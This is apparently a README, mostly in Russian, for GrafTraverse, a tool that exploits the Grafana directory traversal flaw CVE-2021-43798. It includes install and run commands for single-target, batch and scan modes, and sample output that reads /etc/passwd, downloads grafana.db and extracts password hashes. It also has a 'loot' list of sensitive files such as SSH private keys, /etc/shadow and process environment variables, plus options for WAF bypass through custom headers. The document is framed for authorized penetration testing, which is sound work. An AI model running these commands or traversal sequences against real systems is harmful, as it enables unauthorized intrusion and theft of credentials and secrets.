
CVE-2021-43798 MiNi Exploitation Framework
Инструмент автоматизации командной строки для авторизованного тестирования безопасности уязвимости обхода каталогов Grafana (CVE-2021-43798).
CVE-2021-43798 — это неаутентифицированная уязвимость обхода каталогов в Grafana 8.x, которая позволяет злоумышленникам читать произвольные файлы в файловой системе через конечную точку /public/plugins/. Основная причина — некорректная санитизация пути при запросах ресурсов плагинов, что позволяет последовательностям ../ выйти за пределы целевого каталога.
GrafTraverse — это полная переработка оригинального proof-of-concept. Он исправляет критически важные ошибки обработки запросов, добавляет многопоточное пакетное сканирование, автоматическое обнаружение плагинов, извлечение учётных данных и структурированную отчётность, что делает его инструментом производственного уровня для групп красных команд и пентестеров.
# Clone the repository
git clone https://github.com/asbawy/GrafTraverse.git
cd GrafTraverse
# Ensure requests is available (it ships with Kali)
pip3 install requests
# Make executable
chmod +x GrafTraverse.py
GrafTraverse использует CLI на основе подкоманд. Все команды поддерживают --help.
Запуск интерактивного меню для одной цели:
python3 GrafTraverse.py single -u http://IP:PORT
============================================================
INTERACTIVE MODE
============================================================
1. /etc/passwd
2. grafana.ini
3. grafana.db
4. Custom path
5. Full automated loot
6. Scan plugins
7. Exit
============================================================
Быстрое определение уязвимой конечной точки плагина без эксплуатации:
python3 GrafTraverse.py scan -u http://target:PORT
Загрузка целей из файла и их одновременная обработка:
python3 GrafTraverse.py batch -l targets.txt --workers 10 --csv results.csv
Формат targets.txt:
http://192.168.1.10:3000
http://192.168.1.11:3000
https://grafana.target.com
# Lines starting with # are ignored
Подача пользовательского списка файлов для глубокого обхода:
python3 GrafTraverse.py single -u http://target:3000 --wordlist sensitive_files.txt --output-dir ./loot --json log.json
Маршрутизация через Burp Suite и добавление пользовательских заголовков:
python3 GrafTraverse.py single -u http://target:3000 --proxy http://127.0.0.1:8080 -H "X-Forwarded-For: 127.0.0.1" -H "Authorization: Bearer eyJ0..."
singlebatch| Флаг | Описание |
|---|---|
-l, --list | Файл с URL целей (обязательно) |
--workers | Одновременные потоки (по умолчанию: 5) |
(поддерживаются все флаги single) |
scan| Флаг | Описание |
|---|---|
-u, --url | URL цели (обязательно) |
| (поддерживаются все сетевые флаги) |
[+] Output: 20260526_GrafTraverse
[*] Testing: /etc/passwd (via alertlist)
[+] SUCCESS: /etc/passwd (1874 bytes)
------------------------------------------------------------
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...
------------------------------------------------------------
[+] Saved: 20260526_GrafTraverse/http___10.129.234.47_3000_passwd
[*] Testing: /var/lib/grafana/grafana.db (via alertlist)
[+] SUCCESS: /var/lib/grafana/grafana.db (98304 bytes)
[+] Saved: 20260526_GrafTraverse/http___10.129.234.47_3000_grafana.db
[*] Extracted 3 password hashes:
admin:PBKDF2$sha256$10000$...base64...
editor:PBKDF2$sha256$10000$...base64...
viewer:PBKDF2$sha256$10000$...base64...
Встроенная последовательность добычи пытается получить следующие файлы по порядку:
| Функция | Описание |
|---|
| Многоплагинный брутфорс | Автоматически проверяет 40+ встроенных плагинов для поиска уязвимого пути |
| Интерактивный режим | Эксплуатация одной цели с управлением через меню и предпросмотром файлов в реальном времени |
| Пакетный режим | Одновременное сканирование нескольких целей с настраиваемым количеством потоков |
| Режим со списком слов | Глубокая перебор файлов с использованием пользовательских списков слов |
| Автоматическое извлечение хэшей | Автоматически извлекает хэши паролей PBKDF2 из загруженного grafana.db |
| Структурированное логирование | Экспорт результатов в JSON и CSV для удобного составления отчётов |
| Поддержка прокси | Маршрутизация трафика через Burp, ZAP или любой HTTP-прокси (--proxy) |
| Пользовательские заголовки | Внедрение произвольных заголовков для обхода WAF или токенов аутентификации (-H) |
| Настройка обхода | Переопределение глубины обхода по умолчанию для нестандартных сред (--depth) |
| Умная фильтрация | Устраняет ложные срабатывания, отвергая ответы JS/CSS/HTML плагинов |
| Нулевые зависимости | Требуется только requests (предустановлен на Kali / Parrot) |
| Флаг | Описание |
|---|
-u, --url | URL цели (обязательно) |
--no-download | Режим только просмотра, не сохранять файлы |
-t, --timeout | Тайм-аут запроса в секундах (по умолчанию: 10) |
--proxy | URL HTTP/HTTPS прокси |
-H, --header | Пользовательский заголовок (повторяемый) |
--depth | Строка обхода (по умолчанию: ../../../../../../../../) |
--output-dir | Директория для сохранения полученных файлов |
--json | Добавить результаты в JSON-файл журнала |
--csv | Добавить результаты в CSV-файл журнала |
--wordlist | Файл с путями для перебора |
--plugin | Принудительное указание имени плагина |
| Файл | Тип | Чувствительность |
|---|
/etc/passwd | Текст | Перечисление пользователей |
/etc/shadow | Текст | Хэши паролей (редко читаемы) |
/etc/hosts | Текст | Топология сети |
/etc/hostname | Текст | Идентификация хоста |
/etc/grafana/grafana.ini | Текст | Секреты Grafana и учётные данные БД |
/var/lib/grafana/grafana.db | Двоичный | База данных SQLite с хэшами пользователей и ключами API |
/var/log/grafana/grafana.log | Текст | Оперативная информация |
/root/.ssh/id_rsa | Текст | Приватный ключ SSH |
/root/.ssh/authorized_keys | Текст | Карта доступа по ключам |
/proc/self/environ | Текст | Переменные окружения процесса |
/proc/self/cmdline | Текст | Аргументы процесса |
/proc/version | Текст | Версия ядра |
/proc/mounts | Текст | Структура файловой системы |
/etc/os-release | Текст | Идентификация ОС |
/etc/issue | Текст | Идентификация ОС |
/etc/crontab | Текст | Запланированные задачи |
/etc/resolv.conf | Текст | Конфигурация DNS |